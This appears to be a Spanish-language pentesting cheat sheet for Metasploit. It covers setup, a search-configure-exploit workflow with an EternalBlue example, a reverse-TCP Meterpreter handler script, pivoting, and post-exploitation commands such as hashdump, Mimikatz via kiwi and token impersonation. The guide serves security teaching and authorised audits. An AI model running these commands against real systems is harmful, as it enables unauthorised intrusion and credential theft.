Appearance
🔧 Metasploit Framework
Metasploit es el framework de explotación más utilizado del mundo. Es una herramienta modular que permite desde el escaneo de vulnerabilidades hasta la ejecución de exploits y tareas de post-explotación. Básicamente, es la "navaja suiza" que centraliza todas las fases de un pentest en una única consola.
🚀 Inicio y Configuración
Metasploit utiliza una base de datos PostgreSQL para almacenar hosts, servicios, evidencias y notas de tus escaneos. Para un rendimiento óptimo, el servicio debe estar corriendo antes de iniciar la consola.
bash
# Iniciar la base de datos
service postgresql start
# Abrir Metasploit Framework
msfconsole💡 Tip de Rendimiento
Si es la primera vez que lo usas, ejecuta msfdb init para configurar la base de datos automáticamente. Puedes verificar el estado de la conexión dentro de la consola con el comando db_status.
🛠️ Flujo de Trabajo Básico
El uso de Metasploit sigue un patrón lógico: buscar, configurar y ejecutar.
bash
# 1. Buscar módulos (Exploits, Auxiliares, Post, etc.)
search type:exploit platform:windows cve:2017
# 2. Seleccionar el módulo
use <ID_o_RUTA> # Ejemplo: use exploit/windows/smb/ms17_010_eternalblue
# 3. Configurar parámetros
show options # Ver qué falta por configurar
set RHOSTS <IP> # IP del objetivo
set LHOST <IP> # Tu IP de atacante para la reverse shell
# 4. Lanzar el ataque
exploit # O también 'run'📁 Gestión de Sesiones
Una vez que un exploit tiene éxito, se abre una sesión. Dependiendo del payload, puede ser una shell básica o una sesión de Meterpreter.
| Comando | Acción |
|---|---|
sessions | Lista todas las sesiones activas. |
sessions -i <ID> | Interactuar con una sesión específica. |
sessions -u <ID> | Intenta "subir" una shell básica a una sesión de Meterpreter. |
background | (Dentro de una sesión) Deja la sesión en segundo plano y vuelve a msfconsole. |
🏗️ Workspaces
Los Workspaces permiten separar tus proyectos para que los hosts y credenciales de un cliente no se mezclen con los de otro.
- Crear:
workspace -a <nombre> - Listar/Cambiar:
workspace(lista) oworkspace <nombre>(cambia). - Eliminar:
workspace -d <nombre> - Renombrar:
workspace -r <viejo> <nuevo>
📊 Integración con Nmap y Base de Datos
Metasploit puede actuar como un gestor de activos si importas tus escaneos.
Importar desde XML
Si ya hiciste el escaneo fuera de Metasploit: db_import /ruta/al/archivo.xml
Escaneo directo
Puedes lanzar Nmap desde la consola y los resultados se guardarán automáticamente en la DB: db_nmap -Pn -sV -O <IP_o_Rango>
Consultar datos guardados
hosts: Muestra todos los equipos descubiertos.services: Lista los puertos abiertos y versiones de software detectadas.creds: Muestra las credenciales obtenidas durante la auditoría.
⚡ Automatización: Resource Scripts (.rc)
Los Resource Scripts son archivos de texto que contienen una lista de comandos que Metasploit ejecutará secuencialmente. Son perfectos para configurar handlers de escucha rápidamente.
Ejemplo de script (handler.rc):
bash
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.10.5
set LPORT 4444
runEjecución:msfconsole -r handler.rc
🕵️ Post-Explotación y Meterpreter
Meterpreter es un payload avanzado que se ejecuta en memoria y permite realizar acciones complejas sin dejar apenas rastro en el disco.
Pivoting y Enrutamiento
Si comprometes una máquina con dos interfaces de red, puedes usarla para llegar a la red interna que no ves desde fuera.
bash
# Dentro de la sesión de Meterpreter
# Configura una ruta hacia la subred interna (ej: 192.168.1.0/24)
run autoroute -s 192.168.1.0/24Comandos Clave en Meterpreter
- Sistema:
getuid(quién soy),sysinfo(info del SO),getprivs(mis privilegios). - Looting:
hashdump(extraer hashes locales),screenshot(captura de pantalla). - Plugins:
load kiwi(para usar Mimikatz),load incognito(para suplantación de tokens).
🌐 WMAP: Escaneo Web
WMAP es un plugin de Metasploit para realizar escaneos de vulnerabilidades web (basado en SQLMap, Nikto, etc.).
- Cargar:
load wmap - Definir sitio:
wmap_sites -a <IP_o_URL> - Definir objetivo:
wmap_targets -t http://<IP_del_sitio> - Ejecutar:
wmap_run -e(el flag-eejecuta todos los módulos aplicables).